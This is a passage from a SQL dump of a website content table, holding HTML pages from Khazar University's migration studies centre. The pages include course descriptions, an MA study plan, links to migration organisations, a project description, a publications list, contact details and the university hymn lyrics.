görüşdü.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha sonra nümayəndə heyəti üçün mədəni\r\nproqram təşkil olundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Səfərin ikinci günündə nümayəndə heyətinin\r\nBakı Dövlət Universitetinin nümayəndələri ilə görüşü planlaşdırılmışdır.</p>'),(1307,453,'az','Fənlər və Tədris proqramları','Fənlər və Tədris proqramları','<p><strong>COURSE CATALOGUE</strong></p><p>&nbsp;</p><h3><strong><a href=\"http://www.khazar.org/files/social/Introduction_to_%20Migration%20(Gunel%20Rasulova).docx\">Introduction to Migration Studies</a></strong></h3><p><strong>Content</strong></p><p>The course introduces students to the&nbsp;historical background of migration and its relation to globalization,&nbsp;complexity and variety of contemporary migration, an overview of the key concepts in sociology and economics of migration;&nbsp;the economic causes and effects of migration and the immigrants’ economic assimilation in the host country. The course will investigate the topics from regional and international perspectives.&nbsp;</p><p>&nbsp;</p><p><strong>Learning Outcome</strong></p><p>By the end of the course the students will have acquired:</p><p><strong><br></strong></p><ul><li>An overview of migration processes in the past (a) and present (b) their structures and consequences, including the ability to critically evaluate categories and approaches of migration research and to apply them in a reflecting manner.</li><li>The ability to understand the complexity and variety of contemporary migration.</li><li>An overview of migration patterns and their historical background and relation to globalization.</li><li>Knowledge and skills in identifying and evaluating the economic costs and benefits of migration for sending and receiving countries.</li><li>The ability to formulate relevant research questions and implement a plan to answer these questions.</li></ul><p><strong><br></strong></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Research Methods for Social Sciences</strong></h3><p><strong>Content</strong></p><p>This course on Research Methods is designed to introduce students to the fundamentals of social research including research design, data collection, data analysis, questions of validity, and ethical issues that must be considered while conducting research in the social sciences. The course is divided into three substantive sections: (a) theory and methods; (b) research design and tools for data collection; and (c) data analysis techniques.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will:</p><ul><li>demonstrate their understanding of major research methods and the ability to make use of both quantitative and qualitative research techniques;&nbsp;</li><li>identify the appropriate techniques for different kinds of research questions;&nbsp;</li><li>critically assess the utility and appropriateness of diverse methods and techniques for the study of relevant research issues in the Social Sciences, particularly in Migration studies;&nbsp;</li><li>­understand the practical application of research techniques such as administering surveys, conducting interviews, and writing field-notes along with the processes of sampling, data collection and data analysis. &nbsp;</li></ul><p>&nbsp;&nbsp;</p><p><strong>Workload</strong></p><p>Students will be awarded 6 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Regular and irregular migration, trafficking and smuggling</strong></h3><p><strong>Content</strong></p><p>This course is designed to offer students an interactive module that analytically explores the phenomena of regular and irregular migration, trafficking of human beings and smuggling. This course will review their social, political and economic impact on security and stability in the region and internationally. The students will learn about the national and international legislative acts concerning migration, trafficking and smuggling and best practices [policies] to address the relevant problems.</p><p>&nbsp;</p><p><strong>Learning Outcome</strong></p><p>By the end of the course the students will have acquired:</p><p>●&nbsp; &nbsp; Understanding of regular and irregular migration, trafficking and smuggling, and ability to distinguish them;</p><p>●&nbsp; &nbsp;&nbsp; Ability to analyze social, political and economic impacts and consequences of migration, trafficking and smuggling;</p><p>●&nbsp;&nbsp;&nbsp;&nbsp;Understanding of new and sustainable policies to address the issues stemming from irregular migration, as well as trafficking of human beings and smuggling;</p><p>●&nbsp;&nbsp;&nbsp;&nbsp;Application of concepts and methods learned in class by conducting field research exercises on actual situations and problems;</p><p>●&nbsp;&nbsp;&nbsp;&nbsp;Analytical and communication skills through written assignments and oral presentations based on a group research project.</p>  <p><br></p><p><strong>Workload</strong></p><p>Students will be awarded 8 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Statistics and Econometrics</strong></h3><p><strong>Content</strong></p><p>The first part of the course provides students with the fundamentals of probability theory, data design, statistical inference, estimation, and hypothesis testing which are necessary for most statistical analyses and to understand the second half of the course.</p><p>The second part of the course explores more advanced techniques. It contains theory of regression analysis, and applications of regression analyses to various economic problems and types of data: Linear regression; Hypothesis tests and confidence intervals in multiple regression; Nonlinear regression; Logistic regression; Panel data analysis; The use of instrumental variables; Experiments and quasi-experiments; Time series analysis. Students will also be introduced to statistical computing with Excel, Stata, and EViews. The computer based exercises will enable students to obtain practical experience in analysing real economic data.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will have acquired:</p><ul><li>Knowledge and skills to conduct a good statistical analysis, to develop correct econometric models, to assess model assumptions and to interpret results.</li><li>Proficiency in using statistical software for data analyses.</li><li>Ability to read and comprehend more advanced literature in Statistics and Econometrics.</li><li>Ability to empirically implement a variety of theoretical models to economic problems.</li></ul><p>&nbsp;&nbsp;</p><p><strong>Workload</strong></p><p>Students will be awarded 10 ECTS for the course. The overall workload is 150 hours, 70 contact hours (lectures and seminars), 80 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Economics of Natural Resources</strong></h3><p><strong>Content</strong></p><p>This course focuses on a wide range of economic issues relating to natural resources, with a particular emphasis on energy. The course explores major economic models of natural resources and energy use. It is designed to familiarize students with various tools and techniques used by economists in environmental and natural resource management. Furthermore, the association of demographic issues and poverty with natural resources will be explored and discussed using case studies.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p><strong><em>Pre-requisite</em></strong><em>: Knowledge of basic microeconomic analysis; Competitive markets; Profit maximizing concepts; Competitive equilibrium price formation; Economic efficiency concepts; Efficiency of competitive markets; Market failure (Private versus social costs, Externalities, Public goods); Interest rates and discounting.</em></p><p>By the end of the course the students will have acquired:</p><ul><li>Knowledge of economic theory of depletable resources, depletable resource market modeling and policy analysis, economic issues for renewable resources</li><li>Ability &nbsp;to describe and explain the principal rules of optimum exploitation of renewable and depletable natural resources and various methods of natural goods valuation.</li></ul><br> <p><strong><br></strong></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 120 hours, 50 contact hours (lectures and seminars),70 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong><a href=\"http://www.khazar.org/files/ECON_470_Economic_Development_and_Migration.docx\">Economic Development and Migration Studies</a></strong></h3><p><strong>Content</strong></p><p>The course focuses on the migration– economic development nexus: the impact of economic factors on migration and the impact of migration on the economic development in source and destination countries. Particular investigation will be carried out on the contribution of international migration to economic growth, poverty alleviation, health and educational outcomes in sending countries. Analysis of theoretical concepts will be complemented by case studies and group activities.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will have acquired:</p><ul><li>Knowledge of economic development, and necessary skills of analyzing and evaluating the relationship between economic development and migration studies.</li><li>Ability to understand and explain the economic causes and effects of migration on economic development</li></ul><p><br></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 120 hours, 50 contact hours (lectures and seminars), 70 hours for independent studies (incl. preparatory reading).</p><p>&nbsp;</p><h3><strong>Human Resource Management</strong></h3><p><strong>Content</strong></p><p>&nbsp;</p><p>The course exposes students to the field of human resource management at the organizational level. Human-resources management is considered as an empirical sphere of the basic management process. The main feature of the course is to develop managerial skills in establishing organizational personnel policy. Specific topics include human resources planning, recruitment, staffing, training and development and compensation, human resource strategy, foundation of relevant legislation necessary for practical implementation in an organization.</p><p>&nbsp;</p><p><strong>Learning Outcomes</strong></p><p>By the end of the course the students will have acquired:</p><ul><li>How effectively manage and plan key human resource functions within organizations</li><li>Knowledge and skills to analyze and examine current issues, trends, practices, and processes in HRM in relation with Azerbaijani legislation</li><li>Effective written and oral communication skills</li></ul><p><strong><br></strong></p><p><strong>Workload</strong>&nbsp;</p><p>Students will be awarded 8 ECTS for the course. The overall workload is 120 hours, 50 contact hours (lectures and seminars), 70 hours for independent studies (incl. preparatory reading).</p>'),(1308,456,'az','Faydalı linklər','Faydalı linklər','<h3><strong>Milli</strong></h3><p><a href=\"http://www.migration.gov.az/\" target=\"_blank\">State Migration Service of the Republic of Azerbaijan</a></p><p><a href=\"http://www.refugees-idps-committee.gov.az/en/\" target=\"_blank\">State<em>&nbsp;</em>Committee<em>&nbsp;</em>of the Republic<em>&nbsp;</em>of&nbsp;Azerbaijan<em>&nbsp;</em>for&nbsp;Refugees<em>&nbsp;</em>and Internally Displaced Person</a></p><p><a href=\"http://www.mia.gov.az/\" target=\"_blank\">Ministry of Internal Affairs</a></p><p><a href=\"http://www.mfa.gov.az/?language=en\" target=\"_blank\">Ministry of Foreign Affairs of the Republic of Azerbaijan</a></p><p><a href=\"http://www.migration-az.org/en.html\" target=\"_blank\">Azerbaijan Migration Center</a></p><p><a href=\"http://www.iom.az/\" target=\"_blank\">International Organization for Migration (IOM) Azerbaijan</a></p><p><a href=\"http://www.osce.org/baku\" target=\"_blank\">Organization for Security and Co-operation in Europe&nbsp;(OSCE) Azerbaijan<strong>&nbsp;</strong></a></p><p><a href=\"http://www.unhcr.org/pages/49e48d1e6.html\" target=\"_blank\">United Nations High&nbsp;Commission&nbsp;for Refugees (UNHCR) Azerbaijan</a></p><p>&nbsp;</p><h3><strong>Avropa</strong></h3><p><a href=\"http://hub.coe.int/what-we-do/society/migration\" target=\"_blank\">Migration – Council of Europe</a></p><p><a title=\"EU Immigration Portal\" href=\"http://ec.europa.eu/immigration/\" target=\"_blank\">EU Immigration Portal</a></p><p><a title=\"EU Integration Portal\" href=\"http://ec.europa.eu/ewsi/en/\" target=\"_blank\">EU Integration Portal</a></p><p><a title=\"European Commission DG Employment, Social Affairs and Inclusion\" href=\"http://ec.europa.eu/social/home.jsp\" target=\"_blank\">European Commission DG Employment, Social Affairs and Inclusion</a></p><p><a title=\"European Commission DG Home Affairs\" href=\"http://ec.europa.eu/dgs/home-affairs/index_en.htm\" target=\"_blank\">European Commission DG Home Affairs</a></p><p><a title=\"European Commission Links to National Governments’ Sites\" href=\"http://www.migrationpolicycentre.eu/useful-links/\">European Commission Links to National Governments\' Sites</a></p><p><a title=\"European Parliament Committee on Civil Liberties, Justice and Home Affairs\" href=\"http://www.europarl.europa.eu/committees/en/libe/home.html\" target=\"_blank\">European Parliament Committee on Civil Liberties, Justice and Home Affairs</a></p><p><a title=\"The Council of the European Union\" href=\"http://www.consilium.europa.eu/\" target=\"_blank\">The Council of the European Union</a></p><p><a title=\"European Migration Network (EMN)\" href=\"http://ec.europa.eu/dgs/home-affairs/what-we-do/networks/european_migration_network/index_en.htm\" target=\"_blank\">European Migration Network (EMN)</a><br></p><p>&nbsp;</p><h3>Beynəlxalq</h3><p><a title=\"International Centre for Migration Policy Development (ICMPD)\" href=\"http://www.icmpd.org/\" target=\"_blank\">International Centre for Migration Policy Development (ICMPD)</a></p><p><a title=\"International Labor Organization (ILO)\" href=\"http://www.ilo.org/global/lang--en/index.htm\" target=\"_blank\">International Labor Organization (ILO)</a></p><p><a title=\"International Organization for Migration (IOM)\" href=\"http://www.iom.int/jahia/jsp/index.jsp\" target=\"_blank\">International Organization for Migration (IOM)</a></p><p><a title=\"European Migration Network (EMN)\" href=\"http://emn.intrasoft-intl.com/html/index.html\" target=\"_blank\">European Migration Network (EMN)</a></p><p><a title=\"Organization for Economic Cooperation and Development (OECD)\" href=\"http://www.oecd.org/home/0,2987,en_2649_201185_1_1_1_1_1,00.html\" target=\"_blank\">Organization for Economic Cooperation and Development (OECD)</a></p><p><a title=\"UN High Commissioner for Refugees (UNHCR)\" href=\"http://www.unhcr.org/cgi-bin/texis/vtx/home\" target=\"_blank\">UN High Commissioner for Refugees (UNHCR)</a></p><p><a title=\" United Nations Population Division\" href=\"http://www.un.org/esa/population/\" target=\"_blank\">United Nations Population Division</a></p><p><a title=\"World Bank\" href=\"http://www.worldbank.org/\" target=\"_blank\">World Bank</a></p>'),(1309,457,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><strong>Miqrasiya Araşdırmalar&nbsp;Mərkəzi</strong></p><p><strong></strong>Xəzər&nbsp;Universiteti&nbsp;(Neftçilər&nbsp;korpusu)</p><p>Məhsəti küç. 41,&nbsp;&nbsp;AZ1096</p><p>Bakı,&nbsp;Azərbaycan</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:mcc@khazar.org\">mcc@khazar.org</a></p><p><strong>Telefon</strong>: (+99412) 421-10-93&nbsp;(277)</p><p><strong>Faks</strong>: (+99412) 498-93-79</p>'),(1310,455,'az','Tempus Proqramı','Tempus Proqramı','<p><strong>UNIMIG - Migration and Higher Education: Developing Skills and Capacity</strong> </p><p><br></p>\r\n<p><strong><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">   October 15, 2012  </span><br></strong></p><p><strong>Duration:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">     36 months  </span><br></p><p><br></p><p><strong>Brief information and main objectives:</strong>  <br></p>The aim of the project is to transfer skills and competences in the interdisciplinary field of migration studies in the European Neighborhood Partnership Instrument East region, specifically in Armenia, Azerbaijan and Georgia.<br><p>&nbsp;The specific objectives are:&nbsp;</p><ul><li>To develop, accredit and implement a basic curriculum for a Master Program in Migration Studies with a regional dimension in line with the Bologna requirements at Yerevan State University and Russian-Armenian University, Armenia; Khazar University and Qafqaz University, Azerbaijan; Ivane Javakhishvili Tbilisi State University and Georgia Institute for Public Affairs, Georgia.</li><li>To establish national Migration Competence Centers (MCC) at Tbilisi State University, Yerevan State University and Khazar University that will serve as interfaces among universities, research and public institutions, governments and the public. &nbsp;&nbsp;</li></ul><p>The Regional Online Platform on Migration, maintained and updated by the MCCs, is another important project output. It will support master students by providing relevant literature and data for research purposes and the setup of an e-Learning component. It will be widely used to disseminate the curriculum, publications, and statistical data produced by the MCCs, making all materials accessible to the wider public (migration officials, journalists, researchers, public institutions, civil society).</p><p>International Organization for Migration (IOM) Azerbaijan is participating in the project, primarily contributing to the development and implementation of the master’s programs in migration studies and MCCs.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><span style=\"font-size:large\">The Ministry of Education of Azerbaijan will support the accreditation procedures in Azerbaijan and participate in capacity building activities for curriculum development in line with Bologna standards with support of EU partners.</span><br><p><br></p><p><strong><br></strong></p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.tsu.edu.ge/\" target=\"_blank\">Tbilisi State University</a></p><p>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.iliauni.edu.ge/\" target=\"_blank\">Ilia State University</a></p><p><a href=\"http://www.ysu.am/\" target=\"_blank\">Yerevan State University</a></p><p><a href=\"http://www.rau.am/\" target=\"_blank\">Russian- Armenian University</a></p><p><a href=\"http://www.qu.edu.az/\" target=\"_blank\">Qafqaz University</a></p><p><a href=\"http://www.khazar.org/v1023/\" target=\"_blank\">Khazar University</a></p><p><a href=\"http://www.gipa.ge/\" target=\"_blank\">Georgian Institute of Public Affairs</a>&nbsp;</p><p><a href=\"http://www.uni-graz.at/\" target=\"_blank\">Karl-Franzens University of Graz</a></p><p><a href=\"http://www.ulb.ac.be/\" target=\"_blank\">Free University Brussels</a></p><p><a href=\"http://www.uni-oldenburg.de/en/\" target=\"_blank\">Carl von Ossietzky University Oldenburg</a></p><p><a href=\"http://www.ua.es/\" target=\"_blank\">University of Alicante</a></p><p><a href=\"http://www.wus-austria.org/\" target=\"_blank\">World University Service&nbsp;- Austrian Committee</a></p><p><a href=\"http://www.mta.gov.am/\" target=\"_blank\">State Migration Service of the Ministry of Territorial Administration of Republic of Armenia</a></p><p><a href=\"http://www.edu.gov.az/\" target=\"_blank\">Ministry of Education of Azerbaijan</a></p><p><a href=\"http://www.iom.int/\" target=\"_blank\">International Organization for Migration (IOM)</a></p>  <p><br></p><p><strong>Contact:</strong>&nbsp;</p>Leyla Niyazova, Project Coordinator and Director of Khazar University Migration Competence Center<br><p><a href=\"mailto:lniyazova@khazar.org\">lniyazova@khazar.org</a></p><p>+994 012 421 7916 ext. 234</p><p><br></p><p><strong>Project website:</strong>  <br></p>  <p><span class=\"Apple-tab-span\" style=\"white-space:pre\"></span><a href=\"http://www.unimig.tsu.edu.ge/\" target=\"_blank\">http://www.unimig.tsu.edu.ge/</a>  <br></p><p><br></p><p><br></p><p><br></p>'),(1311,452,'az','Magistr proqramı','Magistr proqramı','<p><strong>Master of Arts in World Economics and Migration</strong><strong>&nbsp;</strong></p><p>Migration in today’s globalised world stands at the heart of key national and international debates. It has developed new dynamics and poses new social, economic and political challenges. From this viewpoint, the School of Economics and Management at Khazar University offers the Master’s Program in World Economics and Migration Processes. The program introduces students to key concepts, research and analysis in the economical aspects of migration. It enables students to understand the nature of local, regional and international migration and its role in global social and economic change. Teaching in the program combines lectures and discussion seminars. Students have individual dissertation supervision and are expected to complete an internship during the program. The Master’s Program in Migration Studies&nbsp; is aimed toward students who wish to work with migrants and asylum seekers in&nbsp; Azerbaijan and different parts of the world; who aspire to posts in International Organization for Migration, State Migration Service, United Nations, Council of Europe, European Union, World Bank, national policy think-tanks, government research and policy departments, or NGOs; and to students wishing to pursue doctorates in the field of World Economics and Migration Processes.</p><p>Aims and objectives:</p><ul><li>to analyze theoretical and empirical models developed to study the economic impact of migration;</li><li>to realize the processes involved in the close relationship of migration with world economics;</li><li>to analyze the political economy of migration from a historical perspective, different forms of the study of migration and major trends in migration theories;</li><li>to offer students the opportunity to combine study and analysis of new critical perspectives on the world economy and migration studies;</li><li>to develop students’ ability to think critically;</li><li>to foster students’ ability to carry out independent research.</li></ul> <p><br></p><p><strong>Master of Arts in World Economics and Migration Processes</strong><strong>&nbsp;</strong>  <br></p><p><strong>Study Plan</strong>  <br></p><br><table rules=\"none\"><tbody><tr><td width=\"205\"><p><strong>Course Title</strong></p></td><td width=\"205\"><p><strong>ECTS</strong></p></td><td width=\"205\"><p><strong>Comments</strong></p><p>(i.e. obligatory/ elective, module is linked to etc.)</p></td></tr><tr><td colspan=\"3\" width=\"614\"><p><strong>Semester 1</strong></p></td></tr><tr><td width=\"205\"><p>Research Methods for Social Sciences</p></td><td width=\"205\"><p>6</p></td><td width=\"205\"><p>Elective</p></td></tr><tr><td width=\"205\"><p>Economic Development and Migration Processes</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p>Statistics and Econometrics</p></td><td width=\"205\"><p>10</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p>Introduction to Migration Studies</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>major-elective</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total:</strong></p></td><td width=\"205\"><p><strong>32</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td colspan=\"3\" width=\"614\"><p><strong>Semester 2</strong></p></td></tr><tr><td width=\"205\"><p>Globalization and Human Resource Management</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>Elective</p></td></tr><tr><td width=\"205\"><p>Economics of Natural Resources</p></td><td width=\"205\"><p>6</p></td><td width=\"205\"><p>Elective</p></td></tr><tr><td width=\"205\"><p>Accounting, Finance and Law</p></td><td width=\"205\"><p>6</p></td><td width=\"205\"><p>Elective</p><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p>Regular and irregular migration, trafficking and smuggling</p></td><td width=\"205\"><p>8</p></td><td width=\"205\"><p>major-elective</p><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total:</strong></p></td><td width=\"205\"><p><strong>28</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td colspan=\"3\" width=\"614\"><p><strong>Semester 3</strong></p></td></tr><tr><td width=\"205\"><p>Internship (field practice)</p></td><td width=\"205\"><p>20</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p>&nbsp;</p></td><td width=\"205\"><p>&nbsp;</p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p>International Economics and Migration</p></td><td width=\"205\"><p>10</p></td><td width=\"205\"><p>Major</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total:</strong></p></td><td width=\"205\"><p><strong>30</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Semester 4</strong></p></td><td width=\"205\"><p>&nbsp;</p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p>Master Thesis</p></td><td width=\"205\"><p>30</p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Sub Total</strong></p></td><td width=\"205\"><p><strong>30</strong></p></td><td width=\"205\"><p>&nbsp;</p></td></tr><tr><td width=\"205\"><p><strong>Total number of ECTS semester 1 – 4:</strong></p></td><td width=\"205\"><p><strong>120</strong></p></td><td width=\"205\"><p>&nbsp;</p><p><br></p></td></tr></tbody></table>'),(1312,716,'az','Məzun ','Məzun ',''),(1313,717,'az','Qalleriya','Qalleriya','');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (1314,735,'az','Nəşrlər','Nəşrlər','<h2><a>Diversification problems of Azerbaijani economy: obstacles and solutions</a></h2><p><em>Ingilab Ahmadov</em></p><p><a>Summary:</a>&nbsp;In this article Ingilab Ahmadov analyzes the conditions for economic diversification and obstacles in the way of it. He identifies that the strict monetary and credit policies, are hampering the success of economic diversification. The work emphasises that political condition are of an utmost importance in successful outcome of diversification policies. The environment in the country is enabling for diversification due to the revamped infrastructure, the drastic devaluation of the manat, the dramatic reduction of the average monthly wages as expressed in dollars, the reappearance of cheap workforce, and the presence of such a regional market as Russia. The establishment of ownership rights in the country and a favourable business environment are cornerstone for progress in economic diversification.</p><p>Please find the PDF:  <br></p><p><a href=\"http://www.http//edf.az/ts_general/eng/layihe/IIED/policy-papers/ingilab-ahmadov_diversification.pdf\" target=\"_blank\"><em>http://www.http://edf.az/ts_general/eng/layihe/IIED/policy-papers/ingilab-ahmadov_diversification.pdf</em></a></p><hr><h2><a>Human Capital Development in Azerbaijan</a></h2><p><em>Special Editor: Farid Guliyev, Research Associate at Eurasia Extractive Industries Knowledge Hub</em></p><p><a>Summary:</a></p><p>The Oil Boom and Human Capital Development in Azerbaijan:Turning Black Gold into Human Gold (Surayya Mammadova)</p><p>The Quality of Education in Azerbaijan: Problems and Prospects (Farid Guliyev)</p><p>Natural Resources and the Gender Gap in Azerbaijan (Lucy Wallwork)</p><p>The Contribution of Foreign Oil Companies to Human Capital Development in Azerbaijan: The Case of BP’s CSR Program (Nazaket Azimli)</p><p>Please find the PDF:</p><p><a href=\"http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest90.pdf\" target=\"_blank\"><em>http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest90.pdf</em></a></p><hr><h2><a>Tackling the Resource Curse: The role of democracy in achieving sustainable development in resource-rich countries</a></h2><p><em>Ahmadov A. and Guliyev F. IDEA Discussion Paper (2016)</em></p><p><a>Summary:</a>&nbsp;A number of studies in the academic and policy literature suggest that resource-rich countries with democratic political systems are more likely than their resource-rich counterparts with less democratic systems to enjoy prudential governance of natural resources, which, in turn, makes inclusive sustainable development more likely.</p><p>This report focuses on the potential roles of stakeholders and institutions in the governance of natural resources. It aims to pinpoint specific mechanisms that are pivotal for ensuring prudential management. It draws on a multitude of examples and includes six case studies that illustrate the interaction between democracy, natural resources and development outcomes.</p><p>Please find the PDF:</p><p><a href=\"http://www.idea.int/resources/analysis/the-role-of-democracy-in-achieving-sustainable-development-in-resource-rich-countries.cfm\" target=\"_blank\"><em>http://www.idea.int/resources/analysis/the-role-of-democracy-in-achieving-sustainable-development-in-resource-rich-countries.cfm</em></a></p><hr><h2><a>Low Oil Prices: Economic and Social Implications for Azerbaijan</a></h2><p><em>Special Editors: Eurasia Extractive Industries Knowledge Hub (Khazar University) and Jeronim Perović Caucasus Analytical Digest No. 83 (2016)</em></p><p><a>Summary:</a>&nbsp;Azerbaijan’s New Macroeconomic Reality: How to Adapt to Low Oil Prices (Ingilab Ahmadov)</p><p>Oil Price Shocks and Monetary Policy in Azerbaijan: Challenges and Opportunities (Jeyhun Mammadov)</p><p>Lower Oil Revenues, Higher Public Debt: The Fiscal Policy Implications of Low Oil Prices in Azerbaijan (Kenan Aslanli)&nbsp;<br>Azerbaijan: Low Oil Prices and their Social Impact (Farid Guliyev)</p><p>Statistics Oil Production and State Finances</p><p>Please find the PDF:</p><p><a href=\"http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf\" target=\"_blank\"><em>http://www.laender-analysen.de/cad/pdf/CaucasusAnalyticalDigest83.pdf</em></a></p><hr><h2><a>Governance, transparency and accountability in Sovereign Wealth Funds: Remarks on the assessment, rankings and benchmarks to date in Sovereign Wealth Funds: New Challenges for the Caspian Countries</a></h2><p><em>Tsani, S., Ahmadov I., and Aslanli K. Public Finance Monitoring Centre, Azerbaijan and Revenue Watch Institute, USA (2011).</em></p>\r\n<p><a>Summary:</a>&nbsp;Over the past decade, the boom in commodity prices and the growth of foreign exchange reserves have made Sovereign Wealth Funds (SWF) major forces in the global economy, with the largest funds managing well over $4 trillion in assets. Their influence has had far-reaching consequences for both host and sponsoring countries. SWFs can finance development projects and shield economies from volatility. But they can also hamper the effectiveness of macroeconomic policies and create opportunities for corruption. This report from Azerbaijans Public Finance Monitoring Center, Khazar University and RWI presents a critical analysis of resource-based SWFs in three Caspian countries: Azerbaijan, Kazakhstan and Russia. While SWFs enabled them to weather the global financial crisis, the funds investment choices have failed to promote long-term development at home, highlighting the need for transparency and accountability as well as new methods to assess SWF performance.</p><p>Please find the PDF:&nbsp;</p><p><a href=\"http://www.resourcegovernance.org/sites/default/files/SWFs-Caspian-Countries.pdf\" target=\"_blank\"><em>http://www.resourcegovernance.org/sites/default/files/SWFs-Caspian-Countries.pdf</em></a></p>'),(1315,736,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><strong>Eurasia Extractive Industries Knowledge Hub</strong></p><p><strong>Adress</strong>: 41 Mehseti str., AZ1096, Baku Azerbaijan&nbsp;</p><p><strong>Phone</strong>: (+994 12) 422 24 97</p><p><strong>E-mail</strong>: <a href=\"http://mailto:info@eurasia-hub.com\">info@eurasia-hub.com</a></p><p><strong><br></strong></p><div><div><strong>&nbsp;<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3037.9635472505247!2d49.93829198575365!3d40.40965832149299!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x403062fc5d066f49%3A0x383f2647b67161af!2zWMmZesmZciBVbml2ZXJzaXRldGk!5e0!3m2!1saz!2s!4v1459771154628\" width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\"></iframe></strong></div></div>'),(1316,837,'en','Khazar University Hymn','Khazar University Hymn','<p><strong>Listen:&nbsp;<a href=\"http://www.khazar.org/files/social/khazar_hymn.mp3\">khazar&nbsp;hymn&nbsp;mp3</a></strong></p><p><strong>My Khazar University</strong></p><p><strong>Lyrics by Hamlet Isakhanli</strong></p><p>(translated into English by Alison Mandaville and M. Lawry)</p><p><strong>Music by V. Adigozelov and R. Mustafayev</strong></p><p><br></p><p>From stately Baku on my Caspian shores</p><p>my Khazar University illuminates the world.</p><p>Lessons in poetry, the arts, and humanities</p><p>unlock the secrets of the universe, my Khazar University.</p><p><br></p><p>Embrace of life,</p><p>a pure place in my heart,</p><p>a warm hearth of best resolve:</p><p>this is my Khazar.</p><p><br></p><p>Fiery call of my youth,</p><p>from deep seas to lofty mountains,</p><p>a beloved flowering garden:</p><p>this is my Khazar.</p><p><br></p><p>A name renowned, sought throughout the land,</p><p>so many vows of love whispered in these arms—</p><p>my life fills with meaning; my soul strives for the summits;</p><p>inspiration’s bright spring overflows from my Khazar.</p>'),(1317,838,'en','Khazar University Student Waltz','Khazar University Student Waltz','<p dir=\"ltr\"><strong>Listen:&nbsp;</strong><strong><a href=\"http://www.khazar.org/files/social/students_song_waltz.mp3\">students&nbsp;song&nbsp;waltz.mp3</a></strong></p><p>Translated by Alison Mandaville and M. Lawry</p><p><br></p><p>As a mermaid splashing water</p><p>On the shores of the blue sea,</p><p>My muse sang of a bright “Khazar”</p><p>Marking with light my life’s story.</p><p>&nbsp;</p><p>So I walk these honest reaches.</p><p>Heart, don’t say the way’s too far.</p><p>Step by step I’m growing wiser</p><p>In the search for my “Khazar!”</p><p>&nbsp;</p><p>Here love forms the soul of nature.</p><p>Here the night is lit with stars.</p><p>Here our dreams take flight, ascending</p><p>From the lamp’s glow: my “Khazar”</p><p>&nbsp;</p><p>My charmed heart will ache with longing</p><p>If ever we must be apart</p><p>It hums a tune to soothe this yearning—</p><p>This endless quest for my Khazar.</p>'),(6100,3478,'az','Professor Hamlet İsaxanlı universitetlərin keyfiyyətindən danışdı','2018-ci il Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p>2018-ci il Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet 